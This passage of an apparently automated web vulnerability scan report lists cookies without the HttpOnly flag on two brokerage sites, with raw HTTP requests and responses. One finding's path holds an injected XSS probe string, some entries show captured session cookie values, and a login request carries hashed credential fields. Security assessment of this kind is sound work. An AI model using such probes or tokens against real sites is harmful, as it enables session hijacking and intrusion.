Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=A55CBF6DD6AC2BCEDB63CB76F1C14DC5.www3; Path=/Universal; Secure
Set-Cookie: JSESSIONID=BCEA933607F5BEC843FF7E88BA2DBC25.www3; Path=/Universal; Secure
Set-Cookie: JSESSIONID=56A61A82D2AFCE5A9F25ACEB787F17D3.www3; Path=/Universal; Secure
Content-Language: en
Content-Length: 16505
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 T
...[SNIP]...

10.4. https://www.interactivebrokers.com/Universal/servlet/Registration_v3.formScreenPreReg previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.interactivebrokers.com
Path:	/Universal/servlet/Registration_v3.formScreenPreReg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=9EFAFD90AB6C579C982FF58ACD7FDDB3.www3; Path=/Universal; Secure

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Universal/servlet/Registration_v3.formScreenPreReg HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:02 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=9EFAFD90AB6C579C982FF58ACD7FDDB3.www3; Path=/Universal; Secure
Content-Language: en-US
Content-Length: 77915
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
...[SNIP]...

10.5. https://www.interactivebrokers.com/Universal/servlet/formWelcome previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.interactivebrokers.com
Path:	/Universal/servlet/formWelcome

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=4FB23AA05D9909D5450906B08631151D.www3; Path=/Universal; Secure

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Universal/servlet/formWelcome?p=100&atype=IT&b=T&ft=ft1 HTTP/1.1
Host: www.interactivebrokers.com
Connection: keep-alive
Referer: http://www.interactivebrokers.com/en/p.php?f=individualAccounts
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:37:48 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=4FB23AA05D9909D5450906B08631151D.www3; Path=/Universal; Secure
Content-Language: en-US
Content-Length: 78633
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
...[SNIP]...

10.6. https://www.interactivebrokers.com/sso/Authenticator previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.interactivebrokers.com
Path:	/sso/Authenticator

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=1BA8E2DE88E2128104867CFC6671D3E8.wwwsso3; Path=/sso; Secure

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /sso/Authenticator?91146 HTTP/1.1
Host: www.interactivebrokers.com
Connection: keep-alive
Referer: https://www.interactivebrokers.com/sso/Login
Content-Length: 339
Origin: https://www.interactivebrokers.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=B63C36F91C020C4B017188CC1EF896E3.wwwsso3; ib=googlead; web=1059282; XYZAB_AM.LOGIN=; XYZAB=; URL_PARAM=actiongetProps=getProps&language=en&propFile=SSO_Login_v1

ACTION=COMPLETEAUTH&USER=xss&ACCT=&M1=4529e29cf6687577dfafe2960e6747bca9c1f0a2&EKX=1d7627dc32b950b32219f748085f166dc9960f2583a1519b88576a5b65b72bfe92fad39bbe74759b23095a7e6b86699d2a9ea954f0468f59ce872
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:53:07 GMT
Server: Apache
Set-Cookie: JSESSIONID=1BA8E2DE88E2128104867CFC6671D3E8.wwwsso3; Path=/sso; Secure
Content-Length: 70
Connection: close
Content-Type: text/xml

<ib_auth_res>
<ini_params>
<M2>null</M2>
</ini_params>
</ib_auth_res>

10.7. https://www.interactivebrokers.com/sso/Login previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.interactivebrokers.com
Path:	/sso/Login

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=6CABFA1224B746F03649A64DE5E8609E.wwwsso3; Path=/sso; Secure
URL_PARAM=forwardTo=1; Domain=.interactivebrokers.com; Path=/; Secure

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /sso/Login?forwardTo=1 HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.8. https://www.optionsxpress.com/new_account.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.optionsxpress.com
Path:	/new_account.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDSAASBSDA=IICGFGHAGIOCHNMHCMJLCMKM; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.9. https://www.optionsxpress.com/new_account.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.optionsxpress.com
Path:	/new_account.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDQCDSCTCB=DJOPBMDAGLGCJENDBNKKAEHI; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.10. https://www.optionsxpress.com/welcome.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.optionsxpress.com
Path:	/welcome.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ASPSESSIONIDCSTSAQDA=EALHAKIANBNPKJOEIOKNNICO; path=/
TLTHID=23D6A57C4BE8F428BC3F1C97DD0273A0; Path=/; Domain=.optionsxpress.com
TLTCNT=DAWEB250000000000012272

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /welcome.asp HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.11. http://360.sorensonmedia.com/7d285f50de540c4b64C9b74Y99dcc88d0ad6/embedv2.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://360.sorensonmedia.com
Path:	/7d285f50de540c4b64C9b74Y99dcc88d0ad6/embedv2.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

AWSELB=7399391306302201EC8ED885C1DF301EBE94B9D3266A90D7C75A424550F489FD629C2C3ACAAE7C766E443396D53A4DBE988DB00D0CFDBC4B96568304D3BBF7D375BA252957;PATH=/;MAX-AGE=172800

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /7d285f50de540c4b64C9b74Y99dcc88d0ad6/embedv2.js HTTP/1.1
Host: 360.sorensonmedia.com
Proxy-Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
cache-control: no-cache
Cache-control: no-cache="set-cookie"
Content-Type: text/html; charset=utf-8
Date: Thu, 08 Sep 2011 19:24:43 GMT
pragma: no-cache
Server: nginx/0.5.33
Set-Cookie: AWSELB=7399391306302201EC8ED885C1DF301EBE94B9D3266A90D7C75A424550F489FD629C2C3ACAAE7C766E443396D53A4DBE988DB00D0CFDBC4B96568304D3BBF7D375BA252957;PATH=/;MAX-AGE=172800
Content-Length: 4402
Connection: keep-alive

var embedCode = "<object style='outline:none;' width='100%' height='100%' type='application/x-shockwave-flash' data='http://static.cdn.360.sorensonmedia.com/1/flash/flowplayer-3.2.2.swf' id='videoPla
...[SNIP]...

10.12. https://account.optionsxpress.com/OpenAccount/Index previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=8BDB9C054DE94B794A725090608A94A2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.13. https://account.optionsxpress.com/OpenAccount/NewAccountAjax/GenericHandler previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/NewAccountAjax/GenericHandler

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=DAA835CC43F5D88C7C759C8916AE73EE; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.14. https://account.optionsxpress.com/OpenAccount/Scripts/nap.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/nap.css

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=0CB5EB094D57EFBDD7F02D873075B0F6; Path=/; Domain=.optionsxpress.com
TLTSID=0CB5EB094D57EFBDD7F02D873075B0F6; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.15. https://account.optionsxpress.com/OpenAccount/Scripts/napgeneral.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/napgeneral.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=763E378F444B9764FB516DBF60432013; Path=/; Domain=.optionsxpress.com
TLTSID=763E378F444B9764FB516DBF60432013; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.16. https://account.optionsxpress.com/OpenAccount/Scripts/naponload.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/naponload.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=E9AF2F6144A0120B1C2E90B8BF0628B1; Path=/; Domain=.optionsxpress.com
TLTSID=E9AF2F6144A0120B1C2E90B8BF0628B1; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.17. https://account.optionsxpress.com/OpenAccount/Scripts/napvalidate.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/napvalidate.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=4489136141A3C546F157268319DC82E2; Path=/; Domain=.optionsxpress.com
TLTSID=4489136141A3C546F157268319DC82E2; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.18. https://account.optionsxpress.com/css/oxps.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/css/oxps.css

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=4DCE15C74DC6FFB53C82A6AF748A4ACA; Path=/; Domain=.optionsxpress.com
TLTSID=4DCE15C74DC6FFB53C82A6AF748A4ACA; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.19. https://account.optionsxpress.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/favicon.ico

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=F04D32D8484F69A30C544985DCE10F86; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.20. https://account.optionsxpress.com/images/btn_next_step.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/btn_next_step.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=A8232ADF480D39289D31E09763CACF10; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.21. https://account.optionsxpress.com/images/icon_arrow.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/icon_arrow.jpg

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=40AC7ADE4E4FC6801AC62196A778AB08; Path=/; Domain=.optionsxpress.com
TLTSID=40AC7ADE4E4FC6801AC62196A778AB08; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.22. https://account.optionsxpress.com/images/icons/log_in.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/icons/log_in.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=21EAC738463348E4E7697498E4FA20F5; Path=/; Domain=.optionsxpress.com
TLTSID=21EAC738463348E4E7697498E4FA20F5; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.23. https://account.optionsxpress.com/images/logos/firm/newlogo_ox.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/logos/firm/newlogo_ox.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=A07AAAC644F53C5E640E80A0791B83B0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.24. https://account.optionsxpress.com/images/logos/firm/newlogo_oxb5a37alert(document.location)//18aaa9ddc45.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/logos/firm/newlogo_oxb5a37alert(document.location)//18aaa9ddc45.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=67AC9231459F78416C6C118417F2EB5D; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.25. https://account.optionsxpress.com/images/minus_new_acct.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/minus_new_acct.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=82FCEE1D43C306252438F6B0E9A0C596; Path=/; Domain=.optionsxpress.com
TLTSID=82FCEE1D43C306252438F6B0E9A0C596; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.26. https://account.optionsxpress.com/images/newaccount/account_select1.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/account_select1.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=74CA95F24DB951FC9D2261975F73498E; Path=/; Domain=.optionsxpress.com
TLTSID=74CA95F24DB951FC9D2261975F73498E; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.27. https://account.optionsxpress.com/images/newaccount/account_select2.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/account_select2.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=57018DB34D660B4883F443A4D0B4D349; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.28. https://account.optionsxpress.com/images/newaccount/nap_error_icon.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/nap_error_icon.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=2AB1B991426954C9E6064DB17C6FCAD0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.29. https://account.optionsxpress.com/images/newaccount/nap_tip_icon.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/newaccount/nap_tip_icon.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=991AE206424B97B6F977F9B28BE347B2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.30. https://account.optionsxpress.com/images/openAccount_bottom.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/openAccount_bottom.jpg

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=0E746D3A46A028879E86A893334AE28A; Path=/; Domain=.optionsxpress.com
TLTSID=0E746D3A46A028879E86A893334AE28A; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.31. https://account.optionsxpress.com/images/plus_new_acct.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/plus_new_acct.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=D7A2A4EA4D6B84512DA39A9BEE64DA2F; Path=/; Domain=.optionsxpress.com
TLTSID=D7A2A4EA4D6B84512DA39A9BEE64DA2F; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.32. https://account.optionsxpress.com/images/rightColumn_divider.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/rightColumn_divider.jpg

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=8FAC75CE47AFCEB5B19049BC92732706; Path=/; Domain=.optionsxpress.com
TLTSID=8FAC75CE47AFCEB5B19049BC92732706; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.33. https://account.optionsxpress.com/images/styles/bubble/b.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/b.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=77A51C33434FCC2754ED389A537B984E; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.34. https://account.optionsxpress.com/images/styles/bubble/bl.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/bl.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=E4CCE9D34E711E38DE7ADA84B79732F8; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.35. https://account.optionsxpress.com/images/styles/bubble/br.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/br.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=956B761F4FA5D2BDCA16DB89838483FB; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.36. https://account.optionsxpress.com/images/styles/bubble/l.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/l.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=66E456154210275BF1AD2294C24E11C3; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.37. https://account.optionsxpress.com/images/styles/bubble/r.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/r.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=4F0588BA4BA85289A097B6894C4CDEEB; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.38. https://account.optionsxpress.com/images/styles/bubble/t.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/t.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=F7D09A6D4566E6FDAE591B92DED017AF; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.39. https://account.optionsxpress.com/images/styles/bubble/tl.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/tl.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=AFEC1DFC41D58A640965F69675769361; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.40. https://account.optionsxpress.com/images/styles/bubble/tr.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/tr.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=9A7796FB49428C50E2B66E9C59EA7A3A; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.41. https://account.optionsxpress.com/images/welcome/home/log_out.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/welcome/home/log_out.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=E6E958F44B303A4485671B976182E8E0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Firm=OX; expires=Fri, 09-Sep-2011 07:25:29 GMT; path=/
Set-Cookie: TLTHID=E6E958F44B303A4485671B976182E8E0; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:29 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

10.42. https://account.optionsxpress.com/images/welcome/home/open_account_4.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/welcome/home/open_account_4.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=CF5297BD4EE7D9842FB52BA82A45D6B5; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.43. https://account.optionsxpress.com/inc/general.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/general.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=6BF746C24651B1BAD934E8B86A795596; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.44. https://account.optionsxpress.com/inc/interface.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/interface.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=25FD2BB14273AC991AAA5EABBC316BCE; Path=/; Domain=.optionsxpress.com
TLTSID=25FD2BB14273AC991AAA5EABBC316BCE; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.45. https://account.optionsxpress.com/inc/js/plugins/accordion.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/js/plugins/accordion.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=23A6073F461FC4644E08578F9A204196; Path=/; Domain=.optionsxpress.com
TLTSID=23A6073F461FC4644E08578F9A204196; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.46. https://account.optionsxpress.com/inc/js/plugins/jquery.blockUI.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/js/plugins/jquery.blockUI.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=3B138D484BD3DC1EBC2548A8FD6DEEF1; Path=/; Domain=.optionsxpress.com
TLTSID=3B138D484BD3DC1EBC2548A8FD6DEEF1; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.47. https://account.optionsxpress.com/inc/newaccount/general.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/general.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=090C09DA4E6D42932D2F21943A76C7EF; Path=/; Domain=.optionsxpress.com
TLTSID=090C09DA4E6D42932D2F21943A76C7EF; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.48. https://account.optionsxpress.com/inc/newaccount/jquer.ui.all.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquer.ui.all.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=DC968495491D236FAF80D1B2AC99C2C7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Firm=OX; expires=Fri, 09-Sep-2011 07:25:22 GMT; path=/
Set-Cookie: TLTHID=DC968495491D236FAF80D1B2AC99C2C7; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:22 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
